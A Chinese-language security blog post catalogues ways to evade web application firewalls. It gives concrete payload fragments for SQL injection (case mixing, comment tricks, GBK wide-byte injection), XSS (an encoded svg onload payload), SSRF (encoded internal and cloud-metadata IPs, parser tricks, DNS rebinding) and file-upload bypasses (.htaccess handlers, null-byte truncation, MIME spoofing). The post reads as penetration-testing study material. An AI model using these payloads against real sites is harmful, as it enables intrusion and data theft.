WAF bypass技巧
WAF : Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
1.1 寻找真实IP
- 域名历史解析记录
- 内部邮箱源
- 扫描网站测试文件
- 子域名所在IP段
- 信息泄露
- 国外访问
- APP抓包
1.2 注入绕过
绕过方式 | 例子 | 说明 |
---|---|---|
大小写绕过 | UniOn SeleCt | 针对特定关键字,大小写不敏感,SQL语句不分大小写 |
双写绕过 | Ununionion seselectlect | 过滤后仍是注入语句(只过滤了一次) |
内联注释绕过 | and /****!***select * from test*/ | mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行 |
注释符绕过 | uni/*/on se/*/lect | 注释符号不影响语句的连接 |
对or/and的绕过 | and = &&,or = || | 等价逻辑符号 |
对单引号的绕过 | 十六进制编码 宽字节注入 http://www.xxx.com/login.php?user=%df****’ or 1=1 %df****’转义后为=%df%5c%27=運’ select * fromcms_user where username = ‘運’ or 1=1 | 数值型可以不加单引号 将转义符号闭合掉 mysql使用GBK多字节编码,GPC开启(php.ini,magic_quotes_gpc = On),输入%df%27时首先经过上面提到的转义就会变成%df%5c%27(%5c就是反斜杠)。之后再数据库查询由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字,然后MySQL服务器会对查询语句进行了GBK编码%df%5c转换成汉字,而单引号逃出了 |
等价函数替换 | hex() bin() 等价于ascii() Sleep() 等价于benchmark() | 函数结果相同 |
空格绕过 | select/*/*/*/from/**/yz; select%0a*%0afrom%0ayz; %0a 是回车 select(a)from(yz); | 使用其他字符替换空格 |
1.3 XSS绕过
反射型:
存储型:
绕过方式 | 例子 | 说明 |
---|---|---|
标签闭合 | ,可控为aaa的值,那么可以使用 “> 闭合来绕过,“ | 利用”> 等标签来闭合前面标签来达到绕过插入任意JS的效果 |
标签优先性 | 利用标签解析的优先性绕过。 比如会优先闭合,导致标签逃逸,从而造成xss执行 | |
常见编码 | a aa> <svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)> | 利用常见的一些编码方式去绕过。比如利用 : 当成 冒号: 来绕过,( 和 ) 等效与左右括号 () 可控点在Json中时可使用Unicode编码绕过,在url中可用使用url双重编码等绕过 %0a 为换行的URL编码,可以用来绕过一些Waf,从而执行后面的alert,类似于 Mysql中的%0a换行 利用各种类型的进制转换也可以用来绕过xss防御 |
浏览器差异 | 比如 .url 后缀文件也可用造成xss 比如利用IE浏览器中也有一些特性或者函数 | 比如 .url 后缀文件在Firfox浏览器中也会解析成htm文件,也会造成xss 比如利用IE浏览器中一些独特函数来执行xss |
关键字、函数绕过 | 利用JS的特性,以拼接的方式来组合关键字,从而绕过waf的关键字检测 加入一些特殊字符也可以绕过waf对关键函数的检测 | |
Fuzz | JSFuck | 可以利用Fuzz来发现一些黑名单中未包含到的标签、事件、关键函数 |
1.4 SSRF绕过
绕过方式 | 例子 | 原理 |
---|---|---|
进制转换 | 十进制 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 十六进制 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 | 利用十进制、十六进制形式的ip绕过检测,十进制、十六进制的ip在请求时会正常解析,但检测时可能遗漏 |
特殊ip形式 | http://[::]:80/=127.0.0.1 http://127.127.127.127 127.0.0.1.xip.io 127。0。0。1 = 127.0.0.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://[0:0:0:0:0:ffff:127.0.0.1] | 利用 [::]、CIDR (ip划分方法)绕过localhost限制 利用封闭式字母数字绕过检测 利用ipv6绕过检测 |
正则缺陷 | http://127.1.1.1:80****\@127.2.2.2:80/ http://127.1.1.1:80:@@127.2.2.2:80/ **http://127.1.1.1:80#****\@127.2.2.2:80/** http://endswith{domain}/ **http://{domain}.**localhost | 利用检测正则表达式缺陷绕过,如仅检测字符串是否包含白名单域名或以白名单域名结尾,或者正则未转义点号导致绕过等 |
解析库与请求库差异导致绕过 | http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3 | 利用检测时使用的URL parse库与请求时使用的parse库的差异绕过,如 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ 不同的parse库的解析结果不一样 |
302跳转绕过 | Create a page on a whitelisted host that redirects requests to the SSRF the target URL | 利用可信域名的302跳转绕过检测 |
dnsrebind绕过 | Create a domain that change between two IPs | 设置两条A记录,利用dns重绑定绕过检测,第一次解析返回正常ip,第二次返回内网地址(dns解析记录缓存存活的时间为0,相当于每次解析都要去重新请求dns服务器,无法在本地缓存) |
1.5 上传绕过
绕过方法 | 例子 | 原理 |
---|---|---|
js检查 | 绕过前端 | 通过抓包提交,绕过前端js检测 删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过 |
上传特殊可解析后缀 | jsp jspx jspf asp asa cer aspx php php3 php4 pht phtml | 绕过黑名单,同样可以执行脚本 |
上传.htaccess | <FilesMatch “bytedance”> SetHandler application/x-httpd-php | htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 通过.htaccess文件,调用php的解析器解析一个文件名只要包含“bytedance”这个字符串的任意文件 |
后缀大小写绕过 | 1.php ==> 1.pHP | 由于windows不区分大小写,后端校验未使用strtolower等函数将文件后缀大小写统一处理,导致黑名单不完整而绕过 |
空格绕过 | 1.php ==> 1.php(空格) | 由于Windows处理文件时,会自动删除文件后缀带有的空格和点,从而导致绕过 |
::DATA绕过 | 1.php::$DATA==>1.php | Windows的一种流文件格式,上传这种格式流文件格式的同时会在相同目录下生成一个含有相同内容宿主文件 |
双写后缀绕过 | 1.phphpp ==> 1.php | 后端过滤时,使用了preg_replace等替换函数将php关键字替换为空,但是却没有循环替换,导致前面的ph和后面的p重新组合成php,从而导致绕过 |
MIME绕过 | GIF image/gif JPG image/pjpeg image/jpeg ZIP application/x-compressed application/octet-stream JSP text/html EXE application/octet-stream | 修改Content-Type中为允许的类型 |
%00截断 | 1.php%00a.jpg=1.php | PHP<5.3.29,且GPC关闭时,%00在URL中充当结束符,当解析到%00时,解析器就会认为字符串已经读取完毕(%00截断主要用在路径上的截断) |
0x00截断 | 1.php.jpg==>1.php0x00jpg(0x00为16进制) | PHP<5.3.29,且GPC关闭时,0x00截断其实也是16进制截断,需要修改16进制的数据头,0x00也是截断符号,0x00就是%00解码成的16进制,原理其实与%00截断一样 |
文件头检查绕过 | GIF89a或在图片中插入一句话 | 检查指定文件头时可绕过 |
二次渲染绕过 | 寻找图片渲染后没有变化的部分,插入一句话 | 恶意脚本不被渲染掉 |
条件竞争 | 与后端代码写法有关。比如先上传文件后,再检查文件后缀是否合法,不合法就再删除。 | 利用条件竞争删除文件时间差绕过。在文件上传到服务器,程序还未执行到删除文件代码之前,通过快速发送大量的数据包提前执行程序,达到绕过 |
解析漏洞绕过 | 参考解析漏洞表格 | 参考解析漏洞表格 |
1.6 其他方法
1.HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
2.当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog!